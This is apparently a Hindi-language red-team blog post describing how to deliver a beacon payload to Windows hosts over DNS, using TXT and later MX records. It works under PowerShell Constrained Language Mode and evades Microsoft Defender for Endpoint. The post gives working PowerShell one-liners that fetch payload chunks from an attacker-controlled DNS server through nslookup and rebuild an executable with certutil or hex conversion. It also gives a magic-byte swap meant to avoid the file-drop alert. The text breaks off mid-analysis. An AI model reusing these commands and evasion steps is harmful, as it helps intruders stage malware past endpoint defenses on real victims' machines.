octoberfest7/dns_tunnelingDNS टनलिंग टूल जो PowerShell और Nslookup का उपयोग करके डेटा एक्सफिल्ट्रेट करता है और DNS TXT/MX रिकॉर्ड्स के माध्यम से पेलोड डिलीवर करता है, कॉन्स्ट्रेन्ड लैंग्वेज मोड और एंडपॉइंट डिफेंसेस को बायपास करता है।
हाल ही में मैंने Cobalt Strike DNS बीकन्स से जुड़े कार्य से प्रेरित होकर, Microsoft Defender for Endpoint से बचने के मिशन वक्तव्य के साथ, मैंने कुछ समय इस बात पर शोध किया कि DNS का उपयोग कैसे किसी लक्ष्य मशीन पर पेलोड ट्रांसफर करने के लिए किया जा सकता है। मैंने आगे खुद को चुनौती देना चाहा कि ऐसा तरीके से करूं जो तब भी संभव हो जब पॉवरशेल कॉन्स्ट्रेंड लैंग्वेज मोड में हो। यह शोध विंडोज के अधिक आधुनिक संस्करणों (जैसे Win10+, Server 2019+) पर लक्षित था, लेकिन जैसा कि आप बाद में देखेंगे, यह निचले संस्करणों में भी संभव हो सकता है।
DNS टनलिंग एक तकनीक है जो लंबे समय से मौजूद है और विभिन्न हमलावरों द्वारा उपयोग की जाती है। मूल स्तर पर, इसमें DNS प्रोटोकॉल का उपयोग डेटा घुसपैठ/बहिर्वाह के साधन के रूप में या C2 संचार चैनल के रूप में किया जाता है। इस विषय पर अधिक जानकारी के लिए आप कई ब्लॉग पोस्ट का संदर्भ ले सकते हैं।
चूंकि यह बहुत पुरानी और प्रसिद्ध तकनीक है, इसलिए कई संगठनों के पास इसे रोकने के लिए पहचान के तरीके मौजूद हैं।
DNS टनलिंग के लिए ऐतिहासिक रूप से पसंदीदा DNS रिकॉर्ड प्रकार TXT रहा है। ऐसा इसलिए क्योंकि TXT रिकॉर्ड अन्य रिकॉर्ड्स की तुलना में अधिक डेटा रख सकते हैं और वे केस-सेंसिटिव भी होते हैं, जो अन्य रिकॉर्ड नहीं होते - यह तब प्रभाव डाल सकता है जब हम एन्कोडिंग की बात करते हैं।
कॉन्स्ट्रेंड लैंग्वेज मोड (CLM) पॉवरशेल के लिए एक प्रतिबंधात्मक भाषा मोड है जो पॉवरशेल की क्षमताओं और अनुमत कार्यक्षमता को बहुत कम कर देता है। संक्षिप्त सूची में, .NET, COM ऑब्जेक्ट्स, और हमलावरों के पसंदीदा जैसे (new-object net.webclient).downloadstring... उपलब्ध नहीं होते। यह लिंक अधिक जानकारी प्रदान करता है। संगठन आक्रमण सतह कम करने के नियमों के तहत सामान्य उपयोगकर्ताओं के लिए इस नीति को लागू करते हैं। यह प्रभावी रूप से हमलावरों के लिए हमारा जीवन कठिन बना देता है।
अधिकांश लोग कम से कम Nslookup जैसे उपकरणों के उपयोग से DNS से परिचित होंगे। लेकिन मूल स्तर पर, क्लाइंट एक क्वेरी भेजता है और DNS सर्वर उस क्वेरी का उत्तर लौटाता है। DNS रिकॉर्ड कई प्रकार के होते हैं: CNAME, A, AAAA, TXT, MX, और NS बस कुछ नाम हैं। इनमें से प्रत्येक रिकॉर्ड अलग-अलग जानकारी संग्रहीत और लौटा सकता है। ये रिकॉर्ड एक ज़ोनफ़ाइल में कॉन्फ़िगर किए जाते हैं, जो DNS सर्वर द्वारा प्रस्तुत किया जाता है।
एक उदाहरण ज़ोनफ़ाइल यहाँ दिखाया गया है:``` $ORIGIN example.com. @ 3600 SOA ns1.p30.dynect.net. ( zone-admin.dyndns.com. ; address of responsible party 2016072701 ; serial number 3600 ; refresh period 600 ; retry period 604800 ; expire time 1800 ) ; minimum ttl 86400 NS ns1.p30.dynect.net. 86400 NS ns2.p30.dynect.net. 86400 NS ns3.p30.dynect.net. 86400 NS ns4.p30.dynect.net. 3600 MX 10 mail.example.com. 3600 MX 20 vpn.example.com. 3600 MX 30 mail.example.com. 60 A 204.13.248.106 3600 TXT "v=spf1 includespf.dynect.net ~all" mail 14400 A 204.13.248.106 vpn 60 A 216.146.45.240 webapp 60 A 216.146.46.10 webapp 60 A 216.146.46.11 www 43200 CNAME example.com.
यदि कोई example.com के लिए NS रिकॉर्ड क्वेरी करता है, तो क्वेरी ns1.p30.dynect.net, ns2.p30.dynect.net, ns3.p30.dynect.net, और ns4.p30.dynect.net लौटाएगी।
# शोध
## डोमेन नाम पंजीकरण
शुरू करने से पहले हमें DNS रिकॉर्ड सेट करने के बारे में संक्षेप में बात करनी होगी जो एक ऐसे IP को इंगित करते हैं जिसे हम नियंत्रित करते हैं और उस पर एक DNS सर्वर चलाएंगे। जैसा कि नीचे दिखाया गया है, मैंने एक डोमेन खरीदा और DNS रिकॉर्ड सेट किए जो सबडोमेन "dns" को "ns1" सबडोमेन पर इंगित करते हैं, जिसे सर्वर का सार्वजनिक IP सौंपा गया है।
इसका मतलब है कि "dns.edu....com" के लिए किए गए कोई भी क्वेरी "ns1.edu....com" पर निर्देशित होंगे, जिसे IP 3..86 सौंपा गया है। उस IP पर हम अपने रिकॉर्ड प्रदान करने के लिए एक DNS सर्वर सेट करेंगे। इस पर बाद में फिर से आएंगे।
## क्लाइंट साइड टूल ढूँढना
मेरी खोज "powershell dns module" के लिए एक साधारण Google खोज से शुरू हुई, जिसने [यह](https://docs.microsoft.com/en-us/powershell/module/dnsclient/?view=windowsserver2022-ps) लिंक लौटाया। विशेष रुचि का Resolve-DnsName कमांड था। ऐसा प्रतीत होता है कि यह मूलतः प्रसिद्ध Nslookup.exe बाइनरी का एक पावरशेल कार्यान्वयन है। ध्यान दें कि विशिष्ट प्रकार के रिकॉर्ड का अनुरोध किया जा सकता है:
ठीक है, तो हमारे पास एक पावरशेल मॉड्यूल है जो DNS क्वेरी करने और उत्तर प्राप्त करने में सक्षम है। क्या यह कॉन्सट्रेंड लैंग्वेज मोड (CLM) में काम करता है? इसका उत्तर "हाँ तो है, लेकिन..." है।
जैसा कि आप यहाँ देख सकते हैं यदि मैं एक नई पावरशेल विंडो खोलूं, Resolve-DnsName चलाऊं, पावरशेल को CLM में डालूं (और सरल ::WriteLine कॉल के साथ परीक्षण करूं), और फिर Resolve-DnsName फिर से चलाऊं, यह बिना किसी समस्या के काम करता है:
हालांकि यदि मैं एक नई पावरशेल विंडो खोलूं और तुरंत इसे CLM में डालूं और फिर Resolve-DnsName चलाने का प्रयास करूं तो यह विफल हो जाता है:
ऐसा प्रतीत होता है कि यदि कोई मॉड्यूल पहले से लोड किया गया है, तो वह CLM लागू होने के बाद चलने में सक्षम है, हालांकि CLM इसे लोड होने से रोक देगा यदि यह पहले से लोड नहीं है। एक लक्ष्य वातावरण के बारे में सोचते हुए जहां CLM डिफ़ॉल्ट रूप से उपयोगकर्ताओं के लिए लागू है (और यह जानकारी नहीं है कि कुछ मॉड्यूल पहले से लोड हैं या DnsClient उनमें से एक है), मैंने इस बिंदु पर Resolve-DnsName को छोड़ने और पुराने अच्छे Nslookup.exe पर वापस जाने का चयन किया।
Nslookup.exe IT टूलकिट का एक स्टेपल है और एक बहुत प्रसिद्ध बाइनरी है जिसका उपयोग वैध उद्देश्यों के लिए किया जाता है। संभावनाएं हमारे पक्ष में हैं कि इसे उन वातावरणों में भी निष्पादित करने की अनुमति दी जाएगी जहां एप्लिकेशन व्हाइटलिस्टिंग एक चिंता का विषय है।
Nslookup हमारी Resolve-DnsName क्वेरी के समान ही अधिकांश जानकारी लौटाएगा, हमें बस इसे समय आने पर थोड़ा अलग तरीके से संशोधित करना होगा।
## एक एक्जीक्यूटेबल को DNS रिकॉर्ड में बदलना?
ठीक है, तो हमारे पास पीड़ित कंप्यूटर पर DNS क्वेरी करने का एक साधन है। हम अपने पेलोड को ऐसे प्रारूप में कैसे प्रदान कर सकते हैं जिसे Nslookup पुनर्प्राप्त कर सके?
एक्जीक्यूटेबल स्वाभाविक रूप से बाइनरी फ़ाइलें होती हैं, जिसका अर्थ है कि वे मानव-पठनीय नहीं हैं। परिणामस्वरूप, डेटा को ऐसी चीज़ में बदलना होगा जिसे हम DNS रिकॉर्ड में डाल सकें और जिसे Nslookup जैसा उपकरण पुनर्प्राप्त कर सके। हमारे लिए कई एन्कोडिंग विकल्प उपलब्ध हैं, लेकिन मुख्य विचार यह है कि पीड़ित बॉक्स केवल मूल विंडोज टूल्स और CLM में उपलब्ध क्षमताओं का उपयोग करके क्या डिकोड कर सकता है? Base64 स्पष्ट और अक्सर इस्तेमाल किया जाने वाला उत्तर है।
Base64 का उपयोग करके हम अपने एक्जीक्यूटेबल को एक विशाल मानव-पठनीय स्ट्रिंग में बदल देते हैं जिसे फिर कई DNS रिकॉर्ड में तोड़ा जा सकता है और Nslookup का उपयोग करके पुनर्प्राप्त किया जा सकता है। क्लाइंट साइड पर, प्रसिद्ध LOLBAS certutil.exe का उपयोग कुल DNS रिकॉर्ड को बाइनरी प्रारूप में Base64 डिकोड करने के लिए किया जा सकता है।
इसके लिए हमें DNS रिकॉर्ड प्रकारों के बारे में थोड़ा और बात करने की आवश्यकता है। प्रत्येक रिकॉर्ड प्रकार एक विशेष प्रारूप में निश्चित जानकारी संग्रहीत करता है। उदाहरण के लिए, A रिकॉर्ड एक IPV4 पता (111.111.111.111) संग्रहीत और लौटाते हैं। AAAA रिकॉर्ड एक IPV6 पता लौटाते हैं, MX और NS रिकॉर्ड डोमेन नाम लौटाते हैं, और TXT रिकॉर्ड 255 वर्ण लंबी स्ट्रिंग लौटा सकते हैं। जैसा कि पहले उल्लेख किया गया है, रिकॉर्ड की लंबाई और केस-संवेदनशीलता के कारण, TXT रिकॉर्ड हमलावरों के लिए स्पष्ट विकल्प रहे हैं क्योंकि कम रिकॉर्ड की आवश्यकता होगी और वे Base64 जैसे एन्कोडिंग के साथ संगत हैं।
आइए देखें कि यह कैसा दिखता है।
अपने Kali vm पर हम अपने एक्जीक्यूटेबल को ले सकते हैं और इसे Base64 में बदल सकते हैं। -w 0 स्विच के उपयोग पर ध्यान दें जो सभी न्यूलाइन को हटा देगा जिससे हमारे पास Base64 टेक्स्ट की एक पंक्ति बचे:
फ़ाइल को देखने पर Base64 दिखता है:
अब हमें इस Base64'd फ़ाइल को DNS TXT रिकॉर्ड में बदलना होगा जो हमारे DNS सर्वर द्वारा प्रदान किए जाएंगे।
इस दौरान मैंने कुछ चीजें सीखीं जिन्हें मैं आगे बढ़ने से पहले यहां संक्षेप में बताऊंगा:
**1.** जब एक एकल DNS क्वेरी के लिए कई रिकॉर्ड लौटते हैं, तो इसकी कोई गारंटी नहीं है कि वे "क्रम" में लौटेंगे। यह हमारे उद्देश्यों के लिए महत्वपूर्ण है, क्योंकि हमें सभी TXT रिकॉर्ड से एक फ़ाइल को पुन: एकत्रित करने की आवश्यकता है और यदि वे क्रम से बाहर हैं तो यह काम नहीं करेगा।
**2.** डुप्लिकेट रिकॉर्ड क्वेरी के लिए नहीं लौटाए जाते हैं। उदाहरण के लिए, हमारी ज़ोनफ़ाइल में यदि हमारे पास 3 TXT रिकॉर्ड थे और उनमें से 2 में समान जानकारी थी, जब हम उस डोमेन के लिए TXT रिकॉर्ड क्वेरी करेंगे तो केवल 2 रिकॉर्ड लौटेंगे क्योंकि केवल अद्वितीय रिकॉर्ड लौटाए जाते हैं। क्रम में न होने की समस्या को छोड़कर, यदि हमारे पास उदाहरण के लिए "AAAAA" के बड़े खंड (जैसा कि हमारे Base64'd पेलोड में है) थे जिन्हें हमें कई TXT रिकॉर्ड से भरने की आवश्यकता थी, जब हम अपने डोमेन के लिए TXT रिकॉर्ड क्वेरी करेंगे तो "A" से भरे TXT रिकॉर्ड में से केवल एक ही लौटेगा, भले ही ज़ोनफ़ाइल में उनमें से कई हों।
इन बिंदुओं को ध्यान में रखते हुए हमें यह सुनिश्चित करना होगा कि प्रत्येक DNS क्वेरी के लिए केवल एक TXT रिकॉर्ड लौटाया जाए। यहाँ सबडोमेन आते हैं। जिस तरह हमने "dns.edu...com" को "edu....com" के सबडोमेन के रूप में पंजीकृत किया, उसी तरह हम आगे के सबडोमेन (जैसे 1.dns.edu....com) के लिए रिकॉर्ड प्रदान कर सकते हैं। हम अपने सभी TXT रिकॉर्ड को प्रदान करने के लिए आवश्यकतानुसार कई सबडोमेन बना सकते हैं।
आइए अपने Base64'd पेलोड को देखें:
जैसा कि पहले उल्लेख किया गया है, हम प्रत्येक TXT रिकॉर्ड में 255 वर्ण भर सकते हैं। 413,696/255 को विभाजित करने पर राउंड अप करने के बाद 1,623 प्राप्त होते हैं। यह बहुत सारे TXT रिकॉर्ड हैं (और इसके परिणामस्वरूप बहुत सारे सबडोमेन)। हालांकि यह एक शुरुआती बिंदु है।
मैंने Base64'd पेलोड को निगलने और एक ज़ोनफ़ाइल बनाने के लिए एक Python3 स्क्रिप्ट लिखी:
यह स्क्रिप्ट हमारे Base64'd पेलोड (comp.txt) को खोलेगी और फ़ाइल को 255 वर्ण लंबे खंडों में विभाजित करने के लिए "chunkstring" फ़ंक्शन (एक स्टैक ओवरफ्लो पोस्ट के सौजन्य से) का उपयोग करेगी, जिनके साथ हम TXT रिकॉर्ड बनाएंगे। ध्यान दें कि यहाँ IP नकली/यादृच्छिक और अनावश्यक हैं।
उत्पन्न ज़ोनफ़ाइल को देखने पर हमें अपने TXT रिकॉर्ड दिखाई देते हैं:
प्रत्येक TXT रिकॉर्ड के बाईं ओर संख्या पर ध्यान दें; यह सबडोमेन को दर्शाती है।
अब जब हमारी ज़ोनफ़ाइल बन गई है, तो हमें इसे अपने DNS सर्वर पर कॉपी करना होगा और फिर इसे प्रदान करना होगा। मैंने इसके लिए [CoreDNS](https://github.com/coredns/coredns) का उपयोग किया:
यह दर्शाता है कि मैं पोर्ट 53 पर dns.edu....com के लिए क्वेरी स्वीकार कर रहा हूं। Corefile में मैंने पिछले चरण में बनाई गई ज़ोनफ़ाइल को रिकॉर्ड प्रदान करने के लिए निर्दिष्ट किया है। यह परीक्षण करने के लिए कि हमारे रिकॉर्ड काम करते हैं, हम 1.dns.edu....com से संबंधित TXT रिकॉर्ड के लिए nslookup चलाएंगे:
यहाँ हमारा TXT रिकॉर्ड है!
## हमला!
अब हमें nslookup... 1623 बार चलाना होगा। आदर्श से कम, लेकिन अभी के लिए हम यही करेंगे। हम प्रत्येक सबडोमेन के लिए nslookup चलाने और फिर केवल TXT रिकॉर्ड ($temp[5]) का चयन करने और फिर $results को बनाने के लिए इस पावरशेल वन-लाइनर का उपयोग करेंगे। $results को फिर ./temp.txt पर लिखा जाता है, और अंत में temp.txt को custombeacon.exe में डिकोड करने के लिए certutil का उपयोग किया जाता है।```powershell
$results="";for($num = 1; $num -le 1623 ; $num++){$temp = nslookup -type=TXT "$num.dns.edu....com" 2> $null;$temp = $temp[5].replace("`t","").replace("`"","");$results = $results + $temp};$results > ./temp.txt;certutil -decode ./temp.txt ./custombeacon.exe
हमारे कमांड को चलाने पर हम अपने CoreDNS सर्वर पर सभी DNS अनुरोध देखते हैं:
और अपने क्लाइंट पर हम देखते हैं कि Certutil कमांड सफल हुआ:
हमारा आउटपुट लेंथ हमारी मूल EXE से मेल खाता है (और यह चलता है) - उत्कृष्ट!
हालाँकि हमारे पास एक समस्या है। आइए अपने मूल्यांकन प्रयोगशाला मशीन के लिए MDE डैशबोर्ड देखें:
यहाँ 5 अलर्ट हैं जिन्हें हमें संबोधित करने की आवश्यकता है (शीर्ष दो "एक्जीक्यूटेबल को डिकोड करने के लिए certutil.exe का संदिग्ध उपयोग" को अनदेखा करें क्योंकि ये परीक्षण के दौरान एक ही अटैक चेन को दो बार चलाने के डुप्लिकेट हैं)।
1. संदिग्ध सिस्टम नेटवर्क कॉन्फ़िगरेशन डिस्कवरी - यह 'Resolve-DnsName' cmdlet के उपयोग से संबंधित है (यह परीक्षण अलग कारणों से Nslookup पर स्विच करने से पहले चलाया गया था)
2. DNS अटैक टूल या गतिविधि - यह हमारे डेटा को इनफिल्ट्रेट करने के लिए TXT रिकॉर्ड के उपयोग से संबंधित है
3. / 4. / 5. - एक्जीक्यूटेबल को डिकोड करने के लिए certutil.exe का संदिग्ध उपयोग / दुर्भावनापूर्ण कोड चलाने के लिए लिविंग-ऑफ-द-लैंड बाइनरी का उपयोग
हम इसे अनदेखा करने जा रहे हैं क्योंकि हम Nslookup पर स्विच करने जा रहे हैं। हम देखेंगे कि क्या यह एक समस्या बनी रहती है। मुझे नहीं पता, लेकिन मुझे एक संदेह है कि इस तरह के अलर्ट को कई संगठनों द्वारा इसकी कम प्राथमिकता और प्रतीत होने वाली आसानी से ट्रिगर होने वाली प्रकृति के कारण अनदेखा किया जा सकता है।
यह अलर्ट फिर से हमारे पेलोड को स्मगल करने के लिए TXT रिकॉर्ड के उपयोग से संबंधित है; यह उतना आश्चर्यजनक नहीं है, क्योंकि TXT रिकॉर्ड लंबे समय से इस तरह की गतिविधि के लिए अच्छे कारणों से पसंदीदा रहे हैं। यहाँ समाधान वैकल्पिक रिकॉर्ड प्रकार का उपयोग करने का प्रयास करना प्रतीत होता है, जिसे हम अगले अलर्ट में जो कुछ है उसके साथ मिलकर तलाशेंगे।
यह भी उतना आश्चर्यजनक नहीं है कि certutil को हमारे पेलोड को डिकोड करने के लिए फ़्लैग किया गया; यह एक पुरानी चाल है जिस पर किसी भी सम्मानजनक संगठन को अलर्ट करना चाहिए। हालाँकि अलर्ट दिलचस्प रूप से विशिष्ट है; यह हाइलाइट करता है कि इसका उपयोग एक एक्जीक्यूटेबल को डिकोड करने के लिए किया गया था। इसने मुझे सोचने पर मजबूर किया कि क्या होगा अगर मैंने अपने पेलोड के मैजिक बाइट्स के साथ Base64 एन्कोड करने से पहले खिलवाड़ किया, और फिर क्लाइंट साइड पर certutil का उपयोग करके इसे डिकोड करने के बाद भी। मैं इसे यहाँ नहीं दिखाऊंगा, लेकिन इसने वास्तव में इस अलर्ट को बायपास किया और मैं Base64 पेलोड को डिकोड करने के लिए certutil का उपयोग करने में सक्षम था और फिर मैजिक बाइट्स को वापस MZ में बदल दिया ताकि पेलोड निष्पादन योग्य हो, यह सब नेटिव पावरशेल कार्यक्षमता का उपयोग करके।
मैंने TXT रिकॉर्ड के बजाय MX रिकॉर्ड का उपयोग करके पेलोड को स्मगल करने का प्रयास करने का निर्णय लिया। यह ब्लॉग पोस्ट नोट करता है कि एक वैध DNS नाम की अधिकतम लंबाई 255 वर्ण है``` (63 letters).(63 letters).(63 letters).(62 letters)
चूँकि MX रिकॉर्ड एक डोमेन नाम लौटाते हैं, मुझे प्रत्येक ऑक्टेट में काफी डेटा भरने में सक्षम होना चाहिए। कुछ परीक्षण के बाद मैंने प्रत्येक रिकॉर्ड को थोड़ा छोटा करने का निर्णय लिया और प्रति MX रिकॉर्ड कुल 200 के लिए प्रत्येक ऑक्टेट में केवल 50 वर्ण रखे।
हालाँकि, एक समस्या है। जब DNS रिकॉर्ड की बात आती है, तो केवल TXT और SPF (TXT रिकॉर्ड का एक प्रकार) रिकॉर्ड केस-सेंसिटिव होते हैं। हमारी एन्कोडिंग भाषा, Base64, केस-सेंसिटिव है। मैंने इसका पता लगाने में कुछ घंटे बिताए, लेकिन मुख्य बात यह है कि यदि हम Base64 का उपयोग करने जा रहे हैं, तो हम MX रिकॉर्ड का उपयोग नहीं कर सकते क्योंकि हमारा Nslookup हमेशा रिकॉर्ड को लोअरकेस अक्षरों में लौटाएगा जो हमारी एन्कोडिंग को तोड़ देता है।
हमें या तो कोई अन्य रिकॉर्ड प्रकार खोजने के लिए मजबूर किया जाता है जो केस-सेंसिटिव हो और Base64 के साथ संगत हो, या हमें एक अलग एन्कोडिंग भाषा खोजनी होगी जिसे Windows/PowerShell CLM में मूल रूप से डिकोड करने में सक्षम हो।
कुछ [शोध](https://stackoverflow.com/questions/64925863/how-to-use-powershell-to-convert-hex-string-to-bin) के बाद मुझे पता चला कि PowerShell .NET के उपयोग के बिना हेक्स को बाइनरी में बदलने में सक्षम है:```powershell
$hex = Get-Content -Path "C:\blah\exe-bank.txt" -Raw
# split the input string by 2-character sequences and prefix '0X' each 2-hex-digit string
# casting the result to [byte[]] then recognizes this hex format directly.
[byte[]]$bytes = ($hex -split '(.{2})' -ne '' -replace '^', '0X')
[System.IO.File]::WriteAllBytes("C:\blah\exe-bank.exe", $bytes)
उपरोक्त में थोड़ा सा संशोधन करके ([System.IO.File]... को $bytes | set-content.... से बदलना) यह हमारे उद्देश्यों के लिए काम करना चाहिए।
MX रिकॉर्ड्स में एक "preference" मान भी होता है; यह मूल रूप से प्राथमिकता का एक क्रम है कि किसी डोमेन के लिए किस MX सर्वर का उपयोग किया जाना चाहिए। इसे पहले ज़ोनफ़ाइल के उदाहरण में MX रिकॉर्ड्स के लिए डोमेन नामों से पहले "10 20 और 30" मानों के रूप में देखा जा सकता है। हम इस preference मान का उपयोग अपने लाभ के लिए कर सकते हैं, प्रति सबडोमेन कई MX रिकॉर्ड्स शामिल करके और preference मान के अनुसार क्रमबद्ध करके अपने डेटा को सही क्रम में सुनिश्चित करके। यह हमें TXT रिकॉर्ड्स के साथ प्रति सबडोमेन एकल रिकॉर्ड खींचने की तुलना में Nslookup को कॉल करने की संख्या में भारी कमी लाने की अनुमति देगा।
जैसा कि ऊपर दिखाया गया है, रिकॉर्ड्स क्रम से बाहर लौट सकते हैं, लेकिन preference मान से हम उन्हें पुनर्क्रमित कर सकते हैं।
इसे लागू करने के लिए मैंने पहले अपने पेलोड को हेक्स में बदलने के लिए एक छोटा Python3 स्क्रिप्ट लिखा:
फिर मैंने TXT रिकॉर्ड्स के बजाय MX रिकॉर्ड्स के साथ एक ज़ोनफ़ाइल बनाने के लिए मूल Python3 स्क्रिप्ट को संशोधित किया:
प्रमुख अंतर यह है कि अब हम एक बार में 200 वर्णों को चंक कर रहे हैं और प्रति सबडोमेन 100 MX रिकॉर्ड्स आवंटित कर रहे हैं; इसे j चर द्वारा ट्रैक किया जा रहा है, जहाँ MX रिकॉर्ड में j preference मान है। यह पहले रिकॉर्ड के लिए 10 से शुरू होता है और 10 से बढ़कर 1000 तक जाता है। जब j 1010 पर पहुँचता है, तो यह 10 पर रीसेट हो जाता है और i एक से बढ़ जाता है, जहाँ i चर प्रत्येक MX रिकॉर्ड में निर्दिष्ट सबडोमेन है।
यह स्क्रिप्ट ऐसी ज़ोनफ़ाइल उत्पन्न करती है (ज़ोनफ़ाइल का अंत दिखाया गया है):
यहाँ दो सबडोमेन (31.dns.edu....com और 32.dns.edu....com) और प्रत्येक के लिए कई रिकॉर्ड दिखाए गए हैं। रिकॉर्ड्स को प्रत्येक MX के बाद preference मान से अलग किया जा सकता है (31.dns.edu....com: 960, 970, 980, 990, 1000 32.dns.edu....com: 10, 20, 30)
हमें इस नए प्रारूप को समायोजित करने के लिए अपने पावरशेल कमांड में काफी संशोधन करना होगा। मैंने स्क्रिप्ट को पावरशेल ISE में टिप्पणियों के साथ दिखाया है ताकि प्रत्येक चरण में क्या हो रहा है, इसे बेहतर ढंग से समझाया जा सके, लेकिन संक्षेप में हम निम्नलिखित करने जा रहे हैं:
-1. प्रत्येक सबडोमेन के लिए
--A Nslookup चलाएँ
--B Nslookup द्वारा लौटाए गए प्रत्येक MX रिकॉर्ड के लिए
---a. केवल अपने डेटा को पार्स करें और इसे क्रम में एक सरणी में संग्रहीत करें (MX preference मान के अनुसार क्रमबद्ध)
--C डेटा के प्रत्येक स्ट्रिंग को अपने संचयी $results स्ट्रिंग में जोड़ें
फिर हमें $results लेकर हेक्स को वापस बाइनरी में बदलना होगा, इससे पहले कि हम इसे डिस्क पर लिखें। यह वह जगह है जहाँ हम पहले दिखाए गए पावरशेल को शामिल करेंगे।
एक पंक्ति में सम्मिलित करने पर हमें निम्नलिखित मिलता है:```powershell $results="";for($num = 1; $num -le 32; $num ++){$a = nslookup -type=MX "$num.dns.edu....com" 2> $null;$arr = New-Object string[] ($a.count - 3);for($i = 3; $i -le $a.count - 1; $i++){$a[$i] -match '= ?(.),' > $null;$temp = $matches[1];$a[$i] -match 'r = ?(.)' > $null;$arr[$temp/10 - 1] = $matches[1].replace(".dns.edu....com","").replace(".","");$matches = $null};Foreach($j in $arr){$results=$results + $j.replace("`n","")}};[byte[]]$bytes = ($results -split '(.{2})' -ne '' -replace '^', '0X');$bytes | set-content -encoding byte .\custombeacon.exe
## दूसरा प्रयास
आइए अपने PowerShell कमांड को MDE लैब टेस्ट बॉक्स पर चलाएँ और देखें कि क्या होता है (हम CLM में हैं, बस नहीं दिखाया गया है):
हमारे बीकन को निष्पादित करना (DNS बीकन का उपयोग करने के लिए बैकएंड पर और अधिक जादू हुआ)
हमें "SuspiciousFileDrop" व्यवहार के लिए एक चेतावनी मिलती है, लेकिन यह "No threats found" के साथ हल हो गई... और अधिक खोज बाकी है। लेकिन TXT रिकॉर्ड या एक्ज़ीक्यूटेबल को डिकोड करने के लिए Certutil से संबंधित सभी चेतावनियाँ गायब हैं।
## बस एक कदम बाईं ओर...
MDE को यह पसंद नहीं आया कि PowerShell ने हमारे पेलोड को डिस्क पर लिखा। यह समझ में आता है; मूल बात यह है कि Nslookup ने इंटरनेट से एक अज्ञात एक्ज़ीक्यूटेबल खींचा और उसे डिस्क पर सहेजा। हम इसे कैसे कम कर सकते हैं?
मैंने पेलोड के मैजिक बाइट्स पर पुनर्विचार करने का निर्णय लिया। मेरा कार्य सिद्धांत यह था कि यदि मैं पेलोड के मैजिक बाइट्स को किसी .txt फ़ाइल के बाइट्स में बदल दूं और उसे डिस्क पर लिखूं, फिर उस फ़ाइल को एक नए वेरिएबल में पढ़ूं और मैजिक बाइट्स को वापस MZ (एक्ज़ीक्यूटेबल) में बदलकर पुनः डिस्क पर लिखूं, तो शायद मैं MDE को मूर्ख बना सकता हूँ, क्योंकि कार्यात्मक एक्ज़ीक्यूटेबल के डिस्क पर उतरने वाला I/O ऑपरेशन अब इंटरनेट से खींचे गए डेटा के बजाय एक .txt फ़ाइल से उत्पन्न होता है जो पहले से डिस्क पर मौजूद थी।
चलिए इसे आज़माते हैं।
हम अपने अटैक बॉक्स पर VIM का उपयोग करके अपने एक्ज़ीक्यूटेबल को खोल सकते हैं। पहले दो बाइट्स में MZ हेडर पर ध्यान दें, जो घोषित करता है कि यह एक एक्ज़ीक्यूटेबल है:
:%!xxd दर्ज करके हम फ़ाइल को हेक्स प्रारूप में संपादित कर सकते हैं:
और पहले दो बाइट्स को FF FE में बदलें (UTF-16LE बाइट ऑर्डर मार्क, जो आमतौर पर टेक्स्ट फ़ाइलों में देखा जाता है, https://en.wikipedia.org/wiki/List_of_file_signatures के अनुसार):
अब हमें :%!xxd -r दर्ज करके हेक्स संपादक को बंद करना होगा, जो दिखाएगा कि हमारे मैजिक बाइट्स वास्तव में बदल दिए गए हैं:
फिर हम VIM को लिख और बंद कर सकते हैं।
हम फिर से अपने पेलोड को हेक्स में बदलेंगे और फिर परिवर्तित पेलोड को MX रिकॉर्ड में रखने के लिए python3 स्क्रिप्ट का उपयोग करेंगे, जिन्हें हमारे DNS सर्वर पर परोसा जा सकता है।
क्लाइंट पक्ष पर, मैजिक बाइट्स को ठीक करने और हमारे एक्ज़ीक्यूटेबल को फिर से कार्यात्मक बनाने के लिए हमें अपने PowerShell कमांड को संशोधित करना होगा। जैसा कि उल्लेख किया गया है, MDE से SuspiciousFileDrop चेतावनी से बचने के प्रयास में, हम पहले अपनी "txt" फ़ाइल को डिस्क पर लिखेंगे, और फिर get-content का उपयोग करके इसे वापस मेमोरी में खींचेंगे। हमारे PowerShell कमांड में प्रासंगिक संशोधन और परिशिष्ट है:```powershell
$bytes | set-content -encoding byte .\out.txt;[byte[]]$readfile = get-content .\out.txt -encoding byte -raw;$readfile[0x00] = 0x4D;$readfile[0x01] = 0x5A;$readfile | set-content .\new.exe -encoding byte
इस कमांड में हम पहले डाउनलोड किए गए पेलोड (.txt मैजिक बाइट्स के साथ) को डिस्क पर out.txt के रूप में लिखते हैं, फिर इसे $readfile बाइट ऐरे में पढ़ते हैं जिसके बाद पहले और दूसरे बाइट को क्रमशः 0x4D और 0x5A पर सेट किया जाता है, हमारे पेलोड के MZ हेडर को पुनर्स्थापित करते हुए। फिर $readfile को set-content पर पाइप किया जाता है ताकि हमारे कार्यात्मक पेलोड को डिस्क पर new.exe के रूप में लिखा जा सके।
आइए इसे अपने MDE VM में आज़माते हैं (ध्यान दें कि कमांड थोड़ा अलग दिखता है, इस पर अगले भाग में चर्चा की जाएगी):
और डैशबोर्ड पर?
सफलता!
हमने सफलतापूर्वक DNS अनुरोधों और कॉन्स्ट्रेन्ड लैंग्वेज मोड में उपलब्ध पावरशेल कमांड के माध्यम से अपने पेलोड को कार्यात्मक प्रारूप में डाउनलोड और पुनर्स्थापित किया है। MDE ने कुछ भी अलर्ट नहीं किया, लेकिन MDE वास्तव में क्या देखता है? इसका उत्तर सब कुछ है।
आइए अपने परीक्षण मशीन के लिए घटनाओं की समयरेखा पर एक नज़र डालें, पावरशेल से जुड़ी घटनाओं के लिए फ़िल्टर करते हुए:
इस छवि में हम पावरशेल द्वारा किए गए कुछ nslookup.exe कॉल देखते हैं, जिनमें से प्रत्येक के परिणामस्वरूप एक "T1016: सिस्टम नेटवर्क कॉन्फ़िगरेशन डिस्कवरी" घटना हुई। इसके अलावा हम "powershell.exe dropped a packed file new.exe" देखते हैं जो मैजिक बाइट्स के बदलने के बाद हमारे अब कार्यात्मक निष्पादन योग्य को डिस्क पर वापस लिखे जाने को संदर्भित करता है। यह कुछ घटना आईडी को ट्रिगर करता है, जिनमें उल्लेखनीय "T1027.002: सॉफ्टवेयर पैकिंग" है।
इन घटनाओं पर फ़िल्टर करके हम देख सकते हैं कि प्रत्येक कितना सामान्य या असामान्य है और हमारे कार्यों के सामान्य कंप्यूटर कार्यों के शोर में मिल जाने की कितनी संभावना है।
T1016 को देखते हुए:
